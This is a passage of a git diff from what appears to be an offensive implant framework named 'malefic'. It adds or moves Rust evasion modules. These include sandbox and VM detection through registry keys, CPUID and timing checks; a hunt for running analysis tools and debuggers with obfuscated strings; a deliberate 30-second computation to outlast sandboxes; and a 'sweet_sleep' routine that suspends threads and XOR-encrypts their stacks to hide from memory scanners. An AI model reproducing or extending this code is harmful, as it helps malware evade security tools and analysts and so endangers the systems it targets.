99]. +fn generate_random_number() -> u64 { + cheap_rand() % 100 +} + +/// Compute integer square root via Newton's method. +fn calculate_square_root(n: u64) -> u64 { + if n == 0 { + return 0; + } + let mut x = n; + let mut y = (x + 1) / 2; + while y < x { + x = y; + y = (x + n / x) / 2; + } + x +} + +/// Pick one action at random and execute it. +pub fn execute_api_function() { + match cheap_rand() % 4 { + 0 => { + create_and_write_file(); + } + 1 => { + allocate_and_free_memory(); + } + 2 => { + let _ = generate_random_number(); + } + _ => { + let _ = calculate_square_root(cheap_rand()); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_sqrt_zero() { + assert_eq!(calculate_square_root(0), 0); + } + + #[test] + fn test_sqrt_one() { + assert_eq!(calculate_square_root(1), 1); + } + + #[test] + fn test_sqrt_perfect_squares() { + let cases: &[(u64, u64)] = &[ + (4, 2), + (9, 3), + (16, 4), + (25, 5), + (36, 6), + (49, 7), + (64, 8), + (81, 9), + (100, 10), + (10000, 100), + (1000000, 1000), + ]; + for &(n, expected) in cases { + assert_eq!( + calculate_square_root(n), + expected, + "sqrt({}) should be {}", + n, + expected + ); + } + } + + #[test] + fn test_sqrt_non_perfect_floors() { + // Integer sqrt should return floor value + assert_eq!(calculate_square_root(2), 1); + assert_eq!(calculate_square_root(3), 1); + assert_eq!(calculate_square_root(5), 2); + assert_eq!(calculate_square_root(8), 2); + assert_eq!(calculate_square_root(10), 3); + assert_eq!(calculate_square_root(99), 9); + assert_eq!(calculate_square_root(101), 10); + } + + #[test] + fn test_sqrt_large_values() { + // sqrt(2^32) = 2^16 = 65536 + assert_eq!(calculate_square_root(1 << 32), 1 << 16); + // sqrt(2^62) ≈ 2^31 + assert_eq!(calculate_square_root(1u64 << 62), 1u64 << 31); + } + + #[test] + fn test_sqrt_u64_max() { + // sqrt(u64::MAX) overflows in Newton's method ((x+1)/2 for x=u64::MAX). + // This is expected — the function is only used on small values in practice. + let result = std::panic::catch_unwind(|| calculate_square_root(u64::MAX)); + assert!(result.is_err(), "Should overflow on u64::MAX"); + } + + #[test] + fn test_generate_random_number_range() { + // Run multiple times to test range + for _ in 0..20 { + let n = generate_random_number(); + assert!( + n < 100, + "generate_random_number() returned {}, expected < 100", + n + ); + } + } +} diff --git a/malefic-helper/src/win/anti/sandbox.rs b/malefic-crates/evader/src/sandbox.rs similarity index 83% rename from malefic-helper/src/win/anti/sandbox.rs rename to malefic-crates/evader/src/sandbox.rs index e8e224c..d0f1c26 100644 --- a/malefic-helper/src/win/anti/sandbox.rs +++ b/malefic-crates/evader/src/sandbox.rs @@ -1,7 +1,6 @@ -use crate::debug; -use crate::win::reg::{RegistryKey, RegistryHive}; -use crate::win::process::get_processes; -use obfstr::obfstr; +use malefic_gateway::obfstr::obfstr; +use malefic_os_win::reg::{RegistryHive, RegistryKey}; +use malefic_process::get_processes; use std::collections::hash_map::DefaultHasher; use std::hash::{Hash, Hasher}; @@ -49,7 +48,6 @@ impl SandboxDetection { } } - /// Perform complex computational task to evade sandbox analysis /// This function executes multiple types of intensive computations /// to consume significant CPU time and memory, making it difficult @@ -57,10 +55,10 @@ impl SandboxDetection { pub fn perform_computational_task(seed: u64) -> u64 { let start_time = std::time::Instant::now(); let target_duration = std::time::Duration::from_secs(30); // Target 30 seconds - + let mut result = seed; let mut phase = 0u8; - + // Continue until we've spent enough time while start_time.elapsed() < target_duration { match phase % 8 { @@ -75,13 +73,13 @@ pub fn perform_computational_task(seed: u64) -> u64 { _ => unreachable!(), } phase = phase.wrapping_add(1); - + // Add some unpredictable delays if result % 100 == 0 { std::thread::sleep(std::time::Duration::from_millis(10)); } } - + result } @@ -89,7 +87,7 @@ pub fn perform_computational_task(seed: u64) -> u64 { fn phase_prime_generation(mut seed: u64) -> u64 { let mut count = 0u64; let mut num = (seed % 10000) + 2; - + // Find primes using trial division for _ in 0..5000 { if is_prime(num) { @@ -97,16 +95,22 @@ fn phase_prime_generation(mut seed: u64) -> u64 { } num += 1; } - + seed.wrapping_add(count) } /// Check if a number is prime fn is_prime(n: u64) -> bool { - if n < 2 { return false; } - if n == 2 { return true; } - if n % 2 == 0 { return false; } - + if n < 2 { + return false; + } + if n == 2 { + return true; + } + if n % 2 == 0 { + return false; + } + let sqrt_n = (n as f64).sqrt() as u64; for i in (3..=sqrt_n).step_by(2) { if n % i == 0 { @@ -121,7 +125,7 @@ fn phase_matrix_operations(mut seed: u64) -> u64 { let size = 100; let mut matrix_a = vec![vec![0u64; size]; size]; let mut matrix_b = vec![vec![0u64; size]; size]; - + // Initialize matrices for i in 0..size { for j in 0..size { @@ -129,7 +133,7 @@ fn phase_matrix_operations(mut seed: u64) -> u64 { matrix_b[i][j] = seed.wrapping_add(i as u64).wrapping_mul(j as u64); } } - + // Matrix multiplication for i in 0..size { for j in 0..size { @@ -140,7 +144,7 @@ fn phase_matrix_operations(mut seed: u64) -> u64 { seed = seed.wrapping_add(sum); } } - + seed } @@ -149,39 +153,39 @@ fn phase_memory_intensive(mut seed: u64) -> u64 { let mut memory_blocks = Vec::new(); let block_size = 4096; let num_blocks = 1000; - + // Allocate memory blocks for i in 0..num_blocks { let mut block = vec![0u8; block_size]; - + // Fill with patterns for j in 0..block_size { block[j] = ((seed.wrapping_add(i).wrapping_add(j as u64)) % 256) as u8; } - + memory_blocks.push(block); } - + // Random access patterns to confuse analysis for _ in 0..50000 { let block_idx = (seed % num_blocks as u64) as usize; let byte_idx = (seed % block_size as u64) as usize; - + if !memory_blocks.is_empty() && block_idx < memory_blocks.len() { let value = memory_blocks[block_idx][byte_idx]; seed = seed.wrapping_add(value as u64); } - + seed = seed.wrapping_mul(1103515245).wrapping_add(12345); // LCG } - + seed } /// Phase 4: String operations fn phase_string_operations(mut seed: u64) -> u64 { let mut strings = Vec::new(); - + // Generate strings for i in 0..1000 { let mut s = String::new(); @@ -189,16 +193,16 @@ fn phase_string_operations(mut seed: u64) -> u64 { let ch = ((seed.wrapping_add(i).wrapping_add(j) % 26) + 97) as u8 as char; s.push(ch); } - + // String manipulations let reversed = s.chars().rev().collect::(); let uppercase = s.to_uppercase(); let repeated = s.repeat(3); - + strings.push(format!("{}-{}-{}-{}", s, reversed, uppercase, repeated)); seed = seed.wrapping_add(s.len() as u64); } - + // String searching and processing for s in &strings { let bytes = s.as_bytes(); @@ -206,7 +210,7 @@ fn phase_string_operations(mut seed: u64) -> u64 { seed = seed.wrapping_add(byte as u64); } } - + seed } @@ -215,7 +219,7 @@ fn phase_recursive_computation(seed: u64) -> u64 { let n = (seed % 40) + 5; // Limit to prevent stack overflow let fib_result = fibonacci_recursive(n); let factorial_result = factorial_recursive(n % 20); - + seed.wrapping_add(fib_result).wrapping_add(factorial_result) } @@ -244,42 +248,45 @@ fn phase_bit_manipulation(mut seed: u64) -> u64 { seed ^= seed << 13; seed ^= seed >> 17; seed ^= seed << 5; - + // Bit counting let popcount = seed.count_ones() as u64; seed = seed.wrapping_add(popcount); - + // Bit rotation simulation seed = seed.rotate_left(1).wrapping_add(seed.rotate_right(1)); - + // Complex bit patterns seed = (seed & 0xAAAAAAAAAAAAAAAA) | ((seed & 0x5555555555555555) << 1); } - + seed } /// Phase 7: Hash chain computations fn phase_hash_chains(mut seed: u64) -> u64 { let mut hasher = DefaultHasher::new(); - + for i in 0..50000 { // Multiple hash rounds seed.hash(&mut hasher); let hash1 = hasher.finish(); - + hash1.hash(&mut hasher); let hash2 = hasher.finish(); - + (seed ^ hash1 ^ hash2).hash(&mut hasher); let hash3 = hasher.finish(); - - seed = seed.wrapping_add(hash1).wrapping_add(hash2).wrapping_add(hash3); - + + seed = seed + .wrapping_add(hash1) + .wrapping_add(hash2) + .wrapping_add(hash3); + // Add iteration-dependent computation seed = seed.wrapping_mul(i).wrapping_add(0x9e3779b9); } - + seed } @@ -287,7 +294,7 @@ fn phase_hash_chains(mut seed: u64) -> u64 { fn phase_fibonacci_series(mut seed: u64) -> u64 { let mut a = seed % 1000; let mut b = (seed >> 10) % 1000; - + // Generate large fibonacci-like sequence for _ in 0..100000 { let next = a.wrapping_add(b); @@ -295,7 +302,7 @@ fn phase_fibonacci_series(mut seed: u64) -> u64 { a = b; b = next; } - + seed } @@ -304,13 +311,17 @@ fn detect_hardware_anomalies() -> DetectionResult { let mut result = DetectionResult::new(); // Check CPU core count - let cpu_count = std::thread::available_parallelism().map(|n| n.get()).unwrap_or(1); + let cpu_count = std::thread::available_parallelism() + .map(|n| n.get()) + .unwrap_or(1); if cpu_count < 2 { result.add_detection( - format!("{}: {} ({})", - obfstr!("Low CPU core count"), - cpu_count, - obfstr!("modern systems typically have >=2")), + format!( + "{}: {} ({})", + obfstr!("Low CPU core count"), + cpu_count, + obfstr!("modern systems typically have >=2") + ), 20, ); } @@ -319,11 +330,10 @@ fn detect_hardware_anomalies() -> DetectionResult { if RegistryKey::open( RegistryHive::LocalMachine, obfstr!("SYSTEM\\CurrentControlSet\\Enum\\USB"), - ).is_err() { - result.add_detection( - obfstr!("No USB device usage history found").to_string(), - 15, - ); + ) + .is_err() + { + result.add_detection(obfstr!("No USB device usage history found").to_string(), 15); } result @@ -343,9 +353,11 @@ fn detect_sysinfo_anomalies() -> DetectionResult { for key_path in &suspicious_registry_keys { if RegistryKey::open(RegistryHive::LocalMachine, key_path).is_ok() { result.add_detection( - format!("{}: {}", - obfstr!("Virtualization software registry key found"), - key_path), + format!( + "{}: {}", + obfstr!("Virtualization software registry key found"), + key_path + ), 25, ); } @@ -359,13 +371,17 @@ fn detect_sysinfo_anomalies() -> DetectionResult { // obfstr!("vmtoolsd").to_string(), obfstr!("vmwaretray").to_string(), // monitor check - obfstr!("wireshark").to_string(), obfstr!("procmon").to_string(), - obfstr!("regmon").to_string(), obfstr!("filemon").to_string(), - obfstr!("procexp").to_string(), obfstr!("apimonitor").to_string(), - + obfstr!("wireshark").to_string(), + obfstr!("procmon").to_string(), + obfstr!("regmon").to_string(), + obfstr!("filemon").to_string(), + obfstr!("procexp").to_string(), + obfstr!("apimonitor").to_string(), // debug check - obfstr!("idaq").to_string(), obfstr!("ollydbg").to_string(), - obfstr!("windbg").to_string(), obfstr!("x32dbg").to_string(), + obfstr!("idaq").to_string(), + obfstr!("ollydbg").to_string(), + obfstr!("windbg").to_string(), + obfstr!("x32dbg").to_string(), obfstr!("x64dbg").to_string(), ]; @@ -373,9 +389,11 @@ fn detect_sysinfo_anomalies() -> DetectionResult { for suspicious in &suspicious_processes { if process.name.to_lowercase().contains(suspicious) { result.add_detection( - format!("{}: {}", - obfstr!("Suspicious process detected"), - process.name), + format!( + "{}: {}", + obfstr!("Suspicious process detected"), + process.name + ), 20, ); } @@ -385,10 +403,12 @@ fn detect_sysinfo_anomalies() -> DetectionResult { // More lenient process count check if processes.len() < 20 { result.add_detection( - format!("{}: {} ({})", - obfstr!("Low process count"), - processes.len(), - obfstr!("typical systems have >20")), + format!( + "{}: {} ({})", + obfstr!("Low process count"), + processes.len(), + obfstr!("typical systems have >20") + ), 15, ); } @@ -405,13 +425,16 @@ fn detect_time_anomalies() -> DetectionResult { let sleep_start = std::time::Instant::now(); std::thread::sleep(std::time::Duration::from_millis(100)); let actual_sleep = sleep_start.elapsed(); - + let sleep_ratio = actual_sleep.as_millis() as f64 / 100.0; - if sleep_ratio < 0.2 { // Only flag if < 20ms for 100ms request + if sleep_ratio < 0.2 { + // Only flag if < 20ms for 100ms request result.add_detection( - format!("{}: {:.2}", - obfstr!("Extreme sleep acceleration detected, ratio"), - sleep_ratio), + format!( + "{}: {:.2}", + obfstr!("Extreme sleep acceleration detected, ratio"), + sleep_ratio + ), 25, ); } @@ -419,19 +442,21 @@ fn detect_time_anomalies() -> DetectionResult { // Test 2: Timing source consistency let instant_start = std::time::Instant::now(); let system_start = std::time::SystemTime::now(); - + std::thread::sleep(std::time::Duration::from_millis(50)); - + let instant_elapsed = instant_start.elapsed(); let system_elapsed = system_start.elapsed().unwrap_or_default(); - + if instant_elapsed.as_millis() > 10 && system_elapsed.as_millis() > 10 { let timing_ratio = instant_elapsed.as_millis() as f64 / system_elapsed.as_millis() as f64; if timing_ratio < 0.1 || timing_ratio > 10.0 { result.add_detection( - format!("{}: {:.2}", - obfstr!("Major timing discrepancy detected, ratio"), - timing_ratio), + format!( + "{}: {:.2}", + obfstr!("Major timing discrepancy detected, ratio"), + timing_ratio + ), 20, ); } @@ -450,9 +475,9 @@ pub fn detect_sandbox() -> SandboxDetection { detection.time_detection = detect_time_anomalies(); // Debug without obfstr - debug!("Hardware detection: {:?}", detection.hardware_detection); - debug!("System info detection: {:?}", detection.sysinfo_detection); - debug!("Time detection: {:?}", detection.time_detection); + malefic_common::debug!("Hardware detection: {:?}", detection.hardware_detection); + malefic_common::debug!("System info detection: {:?}", detection.sysinfo_detection); + malefic_common::debug!("Time detection: {:?}", detection.time_detection); // Calculate confidence score detection.confidence_score = detection.hardware_detection.confidence_score @@ -461,6 +486,6 @@ pub fn detect_sandbox() -> SandboxDetection { // Higher threshold to reduce false positives detection.is_sandbox = detection.confidence_score >= 60; - debug!("sandbox confidence score: {}", detection.confidence_score); + malefic_common::debug!("sandbox confidence score: {}", detection.confidence_score); detection -} \ No newline at end of file +} diff --git a/malefic-crates/evader/src/sleep_encrypt.rs b/malefic-crates/evader/src/sleep_encrypt.rs new file mode 100644 index 0000000..70654b6 --- /dev/null +++ b/malefic-crates/evader/src/sleep_encrypt.rs @@ -0,0 +1,244 @@ +//! Sleep with stack-memory XOR obfuscation (BOAZ sleep_encrypt / SweetDreams port). +//! +//! Suspends all threads except the current one, XOR-encrypts their stacks, +//! waits using a busy-loop that reads directly from `KUSER_SHARED_DATA` +//! instead of calling `Sleep`, then decrypts and resumes. +//! +//! # Safety +//! This module is inherently unsafe — it suspends OS threads and +//! manipulates their stack memory. + +use core::ffi::c_void; +use core::mem::{size_of, zeroed}; +use core::ptr::null_mut; + +use crate::types::{TH32CS_SNAPTHREAD, THREADENTRY32, THREAD_ALL_ACCESS}; +use malefic_os_win::kit::binding::{ + MCloseHandle, MCreateToolhelp32Snapshot, MGetCurrentProcessId, MGetCurrentThread, + MNtQueryInformationThread, MOpenThread, MResumeThread, MSuspendThread, MThread32First, + MThread32Next, +}; + +/// XOR key pattern used to encrypt/decrypt stack memory (5 bytes, repeated). +const XOR_KEY: [u8; 5] = [0xAB, 0xCD, 0xE0, 0x00, 0x00]; + +/// ThreadBasicInformation class (0) for NtQueryInformationThread. +const THREAD_BASIC_INFORMATION: u32 = 0; + +/// Minimal THREAD_BASIC_INFORMATION structure. +#[repr(C)] +struct ThreadBasicInfo { + exit_status: i32, + teb_base_addr: *mut u8, + client_id_proc: usize, + client_id_thrd: usize, + affinity_mask: usize, + priority: i32, + base_priority: i32, +} + +/// XOR a memory region in-place with the repeating key. +unsafe fn xor_region(base: *mut u8, size: usize) { + for i in 0..size { + *base.add(i) ^= XOR_KEY[i % XOR_KEY.len()]; + } +} + +/// Retrieve the stack bounds for `hThread` via the TEB. +/// Returns `(stack_limit, stack_base)` where limit < base (grows down). +unsafe fn get_stack_bounds(hthread: *mut c_void) -> Option<(usize, usize)> { + let mut tbi: ThreadBasicInfo = zeroed(); + let status = MNtQueryInformationThread( + hthread, + THREAD_BASIC_INFORMATION, + &mut tbi as *mut ThreadBasicInfo as *mut c_void, + size_of::() as u32, + null_mut(), + ); + if status != 0 || tbi.teb_base_addr.is_null() { + return None; + } + // NT_TIB layout: [0x00] ExceptionList, [0x08] StackBase, [0x10] StackLimit + let stack_base = *(tbi.teb_base_addr.add(0x08) as *const usize); + let stack_limit = *(tbi.teb_base_addr.add(0x10) as *const usize); + if stack_base == 0 || stack_limit == 0 || stack_limit >= stack_base { + return None; + } + Some((stack_limit, stack_base)) +} + +/// Read the current system time (100-ns units) from `KUSER_SHARED_DATA`. +/// Avoids calling any Win32 API time function. +#[inline] +unsafe fn read_system_time_100ns() -> u64 { + // KUSER_SHARED_DATA is mapped at 0x7FFE0000 on every Windows process. + // SystemTime (KSYSTEM_TIME) is at offset 0x14: + // ULONG LowPart; // +0x14 + // LONG High1Time; // +0x18 + // LONG High2Time; // +0x1C + let base = 0x7FFE0000usize as *const u8; + let low = (base.add(0x14) as *const u32).read_volatile() as u64; + let high = (base.add(0x18) as *const i32).read_volatile() as u64; + (high << 32) | low +} + +/// Busy-wait for `ms` milliseconds using KUSER_SHARED_DATA time. +pub fn wait_milliseconds(ms: u64) { + unsafe { + let end = read_system_time_100ns() + ms * 10_000; + while read_system_time_100ns() < end { + core::hint::spin_loop(); + } + } +} + +/// Suspend all threads in this process (except the caller), XOR their stacks, +/// sleep for `duration_ms`, XOR-decrypt stacks, and resume threads. +pub fn sweet_sleep(duration_ms: u64) { + unsafe { + let my_tid = { + let mut buf: ThreadBasicInfo = zeroed(); + let h = MGetCurrentThread(); + let _ = MNtQueryInformationThread( + h, + THREAD_BASIC_INFORMATION, + &mut buf as *mut _ as *mut c_void, + size_of::() as u32, + null_mut(), + ); + buf.client_id_thrd as u32 + }; + let my_pid = MGetCurrentProcessId(); + + // Snapshot all threads + let snap = MCreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if snap.is_null() || snap == -1isize as *mut c_void { + return; + } + + // Collect thread handles + stack bounds + let mut entries: Vec<(*mut c_void, usize, usize)> = Vec::new(); + let mut te: THREADENTRY32 = zeroed(); + te.dwSize = size_of::() as u32; + + if MThread32First(snap, &mut te as *mut THREADENTRY32 as *mut c_void) { + loop { + if te.th32OwnerProcessID == my_pid && te.th32ThreadID != my_tid { + let hthread = MOpenThread(THREAD_ALL_ACCESS, 0, te.th32ThreadID); + if !hthread.is_null() { + MSuspendThread(hthread); + if let Some((limit, base)) = get_stack_bounds(hthread) { + entries.push((hthread, limit, base)); + } else { + entries.push((hthread, 0, 0)); + } + } + } + te = zeroed(); + te.dwSize = size_of::() as u32; + if !MThread32Next(snap, &mut te as *mut THREADENTRY32 as *mut c_void) { + break; + } + } + } + MCloseHandle(snap); + + // Encrypt stacks + for &(_, limit, base) in &entries { + if limit < base && base - limit < 8 * 1024 * 1024 { + xor_region(limit as *mut u8, base - limit); + } + } + + // Custom sleep + wait_milliseconds(duration_ms); + + // Decrypt stacks and resume + for &(hthread, limit, base) in &entries { + if limit < base && base - limit < 8 * 1024 * 1024 { + xor_region(limit as *mut u8, base - limit); + } + MResumeThread(hthread); + MCloseHandle(hthread); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_xor_region_roundtrip() { + let original = vec![0x48, 0x31, 0xC0, 0x90, 0xCC, 0xC3, 0x00, 0xFF]; + let mut data = original.clone(); + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + // After XOR, data should differ from original + assert_ne!(&data, &original); + // XOR again to decrypt + xor_region(data.as_mut_ptr(), data.len()); + } + assert_eq!(&data, &original); + } + + #[test] + fn test_xor_region_key_pattern() { + // Verify XOR uses the expected key pattern + let mut data = vec![0u8; 10]; + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + } + // XOR of 0 with key byte = key byte itself + assert_eq!(data[0], XOR_KEY[0]); // 0xAB + assert_eq!(data[1], XOR_KEY[1]); // 0xCD + assert_eq!(data[2], XOR_KEY[2]); // 0xE0 + assert_eq!(data[3], XOR_KEY[3]); // 0x00 + assert_eq!(data[4], XOR_KEY[4]); // 0x00 + // Key repeats + assert_eq!(data[5], XOR_KEY[0]); // 0xAB + assert_eq!(data[6], XOR_KEY[1]); // 0xCD + } + + #[test] + fn test_xor_region_empty() { + let mut data: Vec = vec![]; + // Should not crash on empty input + unsafe { + xor_region(data.as_mut_ptr(), 0); + } + assert!(data.is_empty()); + } + + #[test] + fn test_xor_region_single_byte() { + let mut data = vec![0x42u8]; + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + assert_eq!(data[0], 0x42 ^ XOR_KEY[0]); + xor_region(data.as_mut_ptr(), data.len()); + assert_eq!(data[0], 0x42); + } + } + + #[test] + fn test_xor_key_values() { + // Verify the XOR key is what we expect + assert_eq!(XOR_KEY, [0xAB, 0xCD, 0xE0, 0x00, 0x00]); + } + + #[test] + fn test_xor_region_large_buffer() { + let size = 4096; + let original: Vec = (0..size).map(|i| (i & 0xFF) as u8).collect(); + let mut data = original.clone(); + unsafe { + xor_region(data.as_mut_ptr(), data.len()); + // Verify it changed + assert_ne!(&data, &original); + // Decrypt + xor_region(data.as_mut_ptr(), data.len()); + } + assert_eq!(&data, &original); + } +} diff --git a/malefic-crates/evader/src/types.rs b/malefic-crates/evader/src/types.rs new file mode 100644 index 0000000..296841d --- /dev/null +++ b/malefic-crates/evader/src/types.rs @@ -0,0 +1,243 @@ +//! Windows type definitions and constants for evader modules +//! +//! Subset of Win32 ABI definitions used by the evasion techniques. +//! Duplicated from malefic-starship/src/types.rs (stable Win32 ABI). + +use core::ffi::c_void; + +// ============================================================ +// Memory management constants +// ============================================================ +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; +pub const MEM_PRIVATE: u32 = 0x20000; + +pub const PAGE_NOACCESS: u32 = 0x01; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// ============================================================ +// Process / thread access rights +// ============================================================ +pub const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; + +// ============================================================ +// Thread creation flags +// ============================================================ +pub const CREATE_SUSPENDED: u32 = 0x00000004; +pub const CREATE_NO_WINDOW: u32 = 0x08000000; + +// ============================================================ +// Wait / synchronisation +// ============================================================ +pub const INFINITE: u32 = 0xFFFFFFFF; +pub const WAIT_TIMEOUT: u32 = 258; + +// ============================================================ +// Toolhelp snapshot flags +// ============================================================ +pub const TH32CS_SNAPTHREAD: u32 = 0x00000004; +pub const TH32CS_SNAPPROCESS: u32 = 0x00000002; + +// ============================================================ +// File I/O constants +// ============================================================ +pub const FILE_GENERIC_READ: u32 = 0x00120089; +pub const FILE_SHARE_READ: u32 = 0x00000001; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080; +pub const INVALID_HANDLE_VALUE: *mut c_void = -1isize as *mut c_void; + +// ============================================================ +// Exception / debug constants +// ============================================================ +pub const CONTEXT_DEBUG_REGISTERS: u32 = 0x00010010; +pub const CONTEXT_FULL: u32 = 0x0010001F; +pub const CONTEXT_ALL: u32 = 0x0010003F; +pub const EXCEPTION_SINGLE_STEP: u32 = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: i32 = -1; +pub const EXCEPTION_CONTINUE_SEARCH: i32 = 0; + +// ============================================================ +// UI / message constants +// ============================================================ +pub const LVM_SORTITEMS: u32 = 0x1030; + +// ============================================================ +// Structures +// ============================================================ + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: u32, + pub cntUsage: u32, + pub th32ThreadID: u32, + pub th32OwnerProcessID: u32, + pub tpBasePri: i32, + pub tpDeltaPri: i32, + pub dwFlags: u32, +} + +#[repr(C)] +pub struct STARTUPINFOA { + pub cb: u32, + pub lpReserved: *mut u8, + pub lpDesktop: *mut u8, + pub lpTitle: *mut u8, + pub dwX: u32, + pub dwY: u32, + pub dwXSize: u32, + pub dwYSize: u32, + pub dwXCountChars: u32, + pub dwYCountChars: u32, + pub dwFillAttribute: u32, + pub dwFlags: u32, + pub wShowWindow: u16, + pub cbReserved2: u16, + pub lpReserved2: *mut u8, + pub hStdInput: *mut c_void, + pub hStdOutput: *mut c_void, + pub hStdError: *mut c_void, +} + +#[repr(C)] +pub struct PROCESS_INFORMATION { + pub hProcess: *mut c_void, + pub hThread: *mut c_void, + pub dwProcessId: u32, + pub dwThreadId: u32, +} + +#[repr(C)] +pub struct SECURITY_ATTRIBUTES { + pub nLength: u32, + pub lpSecurityDescriptor: *mut c_void, + pub bInheritHandle: i32, +} + +/// CONTEXT struct (x86_64) — only the fields commonly used by loaders. +/// Full CONTEXT is 1232 bytes on x86_64; we use a byte-array for the rest. +#[cfg(target_arch = "x86_64")] +#[repr(C, align(16))] +pub struct CONTEXT { + pub data: [u8; 1232], +} + +#[cfg(target_arch = "x86_64")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 1232] } + } + + /// ContextFlags at offset 0x30 + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x30..0x34].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x30..0x34].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Rip at offset 0xF8 + pub fn rip(&self) -> u64 { + u64::from_ne_bytes(self.data[0xF8..0x100].try_into().unwrap()) + } + pub fn set_rip(&mut self, val: u64) { + self.data[0xF8..0x100].copy_from_slice(&val.to_ne_bytes()); + } + + /// Rsp at offset 0x98 + pub fn rsp(&self) -> u64 { + u64::from_ne_bytes(self.data[0x98..0xA0].try_into().unwrap()) + } + pub fn set_rsp(&mut self, val: u64) { + self.data[0x98..0xA0].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr0-Dr3 at offsets 0x48, 0x50, 0x58, 0x60 + pub fn dr(&self, idx: usize) -> u64 { + let off = 0x48 + idx * 8; + u64::from_ne_bytes(self.data[off..off + 8].try_into().unwrap()) + } + pub fn set_dr(&mut self, idx: usize, val: u64) { + let off = 0x48 + idx * 8; + self.data[off..off + 8].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr6 at offset 0x68 + pub fn dr6(&self) -> u64 { + u64::from_ne_bytes(self.data[0x68..0x70].try_into().unwrap()) + } + pub fn set_dr6(&mut self, val: u64) { + self.data[0x68..0x70].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr7 at offset 0x70 + pub fn dr7(&self) -> u64 { + u64::from_ne_bytes(self.data[0x70..0x78].try_into().unwrap()) + } + pub fn set_dr7(&mut self, val: u64) { + self.data[0x70..0x78].copy_from_slice(&val.to_ne_bytes()); + } +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct CONTEXT { + pub data: [u8; 716], +} + +#[cfg(target_arch = "x86")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 716] } + } + + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x00..0x04].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x00..0x04].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Eip at offset 0xB8 + pub fn eip(&self) -> u32 { + u32::from_ne_bytes(self.data[0xB8..0xBC].try_into().unwrap()) + } + pub fn set_eip(&mut self, val: u32) { + self.data[0xB8..0xBC].copy_from_slice(&val.to_ne_bytes()); + } +} + +/// EXCEPTION_POINTERS (used by VEH callbacks) +#[repr(C)] +pub struct EXCEPTION_POINTERS { + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ContextRecord: *mut CONTEXT, +} + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: u32, + pub ExceptionFlags: u32, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: *mut c_void, + pub NumberParameters: u32, + pub ExceptionInformation: [usize; 15], +} + +/// MEMORY_BASIC_INFORMATION (used by VirtualQuery) +#[repr(C)] +pub struct MEMORY_BASIC_INFORMATION { + pub BaseAddress: *mut c_void, + pub AllocationBase: *mut c_void, + pub AllocationProtect: u32, + #[cfg(target_arch = "x86_64")] + pub PartitionId: u16, + pub RegionSize: usize, + pub State: u32, + pub Protect: u32, + pub Type: u32, +} diff --git a/malefic-helper/src/win/anti/vm.rs b/malefic-crates/evader/src/vm.rs similarity index 79% rename from malefic-helper/src/win/anti/vm.rs rename to malefic-crates/evader/src/vm.rs index 6344df5..f673e90 100644 --- a/malefic-helper/src/win/anti/vm.rs +++ b/malefic-crates/evader/src/vm.rs @@ -14,13 +14,13 @@ //! ## Supported VM Frameworks //! //! - **VirtualBox**: Oracle VM VirtualBox (`VBoxVBoxVBox`) -//! - **VMware**: VMware Workstation/ESXi (`VMwareVMware`) +//! - **VMware**: VMware Workstation/ESXi (`VMwareVMware`) //! - **Hyper-V**: Microsoft Hyper-V (`Microsoft Hv`) //! - **QEMU**: QEMU/KVM (`TCGTCGTCGTCG`) //! - **Xen**: Citrix Xen hypervisor (`XenVMMXenVMM`) //! - **Unknown**: Detected via timing analysis or unknown hypervisor -use obfstr::obfstr; +use malefic_gateway::obfstr::obfstr; #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] use std::arch::x86_64::{CpuidResult, __cpuid, _rdtsc}; @@ -75,28 +75,33 @@ impl VmDetectionResult { } } -/// Get CPUID hypervisor vendor string - 最å¯é çš„VM检测方法 -/// -/// 这个函数检查CPUID leaf 1çš„ECX bit 31 (hypervisorä½) -/// åªæœ‰åœ¨çœŸæ­£çš„VMçŽ¯å¢ƒä¸­è¿™ä¸ªä½æ‰ä¼šè¢«è®¾ç½® +/// Get CPUID hypervisor vendor string - Most reliable VM detection method +/// +/// This function checks CPUID leaf 1 ECX bit 31 (hypervisor bit) +/// This bit is only set in a real VM environment #[cfg(any(target_arch = "x86", target_arch = "x86_64"))] fn get_hypervisor_vendor() -> Option { unsafe { let cpuid_1 = __cpuid(1); - // 检查hypervisorä½ (ECX bit 31) + // Check hypervisor bit (ECX bit 31) if (cpuid_1.ecx & (1 << 31)) == 0 { - return None; // 没有hypervisor,ç»å¯¹ä¸æ˜¯VM + return None; // No hypervisor, definitely not a VM } - // 获å–hypervisor vendor字符串 + // Get hypervisor vendor string let cpuid_result = __cpuid(0x40000000); let vendor_bytes = [ cpuid_result.ebx.to_le_bytes(), - cpuid_result.ecx.to_le_bytes(), + 